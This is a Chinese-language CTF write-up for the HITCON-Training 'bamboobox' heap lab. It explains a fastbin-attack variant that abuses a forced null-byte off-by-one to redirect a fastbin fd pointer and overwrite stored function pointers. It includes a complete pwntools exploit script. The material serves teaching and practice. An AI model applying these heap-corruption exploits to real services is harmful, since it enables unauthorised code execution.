HITCON-Bamboobox的Fastbin Attack方法
题目位于:http://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab11/bamboobox
官方给了两种解题方法,分别是House of Force和Unlink,CTF-Wiki对该题的介绍也是如此,但是我发现出于一些巧合,使用Fastbin Attack也可以获取相同的效果。
程序在启动时申请了一个大小为0x10字节的堆块,往上面存放了hello_message (0x400896)和goodbye_message (0x4008b1)函数指针,我称之为functions堆块,官方使用House of Force方法时就是将functions堆块上的两个函数指针篡改为magic的函数指针,而我想要介绍的方法也是相同的目的。

如果要通过Fastbin Attack的方法,自然是想到篡改bin中堆块的fd指针,使其指向functions,后续通过malloc申请空间后,就能获取functions堆块,再使用程序提供的内容修改函数就能实现对functions上内容的篡改。
前提是我们需要functions在堆上的真实地址,并将其写在bin中某一个堆块的fd上,然而本题并没有主动泄漏堆地址。并且我们的任何输入都被强制接上了\x00空字节,程序所有输出函数在遇见空字节都会自动停止输出,所以程序也无法输出用户主动输入以外的信息。
好在,如果各位可以发现,程序申请的functions堆块地址以0x00结尾,而在fd存放的堆块地址,其实和该functions堆块只有末尾不一样,恰好程序每次都会强制为我们的输入插入空字节,所以可以通过这个off_by_one漏洞去覆盖fd上的低位地址,使其指向functions,接下来为具体操作。
先试着申请几个堆块,再将大部分释放。

查看fastbin中的布局,下一个被释放的堆块位于0x2286080,该地址由0x2286060上的fd指针决定

调用程序给的内容修改借口,修改0x2286040堆块的内容,通过堆溢出覆盖0x2286060的fd指针低位,使其以0x00结尾。操作完成后,bin中的堆块结构如下,位于0x2286000的functions被放入链表中。

接下来一次申请空间,程序会取出0x2286040,而下一次就是functions堆块了,可以通过add_item写入恶意的函数指针。
整个脚本如下:
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = gdb.debug('./bamboobox','''
b main
c
''')
# p = remote('node5.buuoj.cn', 27527)
def show():
p.recvuntil(b'Your choice:')
p.sendline(b'1')
def add(length, name):
p.recvuntil(b'Your choice:')
p.sendline(b'2')
p.recvuntil(b'Please enter the length of item name:')
p.sendline(length)
p.recvuntil(b'Please enter the name of item:')
p.send(name)
def change(idx, length, name):
p.recvuntil(b'Your choice:')
p.sendline(b'3')
p.recvuntil(b'Please enter the index of item:')
p.sendline(idx)
p.recvuntil(b'Please enter the length of item name:')
p.sendline(length)
p.recvuntil(b'Please enter the new name of the item:')
p.send(name)
def delete(idx):
p.recvuntil(b'Your choice:')
p.sendline(b'4')
p.recvuntil(b'Please enter the index of item:')
p.sendline(idx)
def exit():
p.recvuntil(b'Your choice:')
p.sendline(b'5')
magic_address = 0x400D49
add(b'16', b'A'*0x10)
add(b'16', b'B'*0x10)
add(b'16', b'C'*0x10)
add(b'16', b'D'*0x10)
add(b'16', b'E'*0x10)
delete(b'3')
delete(b'2')
delete(b'1')
payload_1 = flat(
b'X'*0x10, #覆盖用户缓冲区
p64(0x0), #保留下一个堆块原样
p64(0x21)
)
change(b'0', b'32', payload_1) #程序会强制在末尾写入0x00,覆盖fd指针低位
add(b'16', b'A'*0x10)
payload_2 = flat(
p64(magic_address),
p64(magic_address)
)
add(b'16', payload_2) #获取functions堆块,写入magic函数指针
exit() #程序调用到functions堆块上的magic
p.interactive()如果要打BUUOJ的远程可能会失败,因为题目提供的magic函数会迅速退出,导致远程还没有及时发送数据进程就被掐死了,官方给的House of Force脚本效果和我的在BUUOJ上是一样的。但本地是可以打通的(local_flag被输出了),如果要打BUU的远程建议还是按照unlink来做。

评论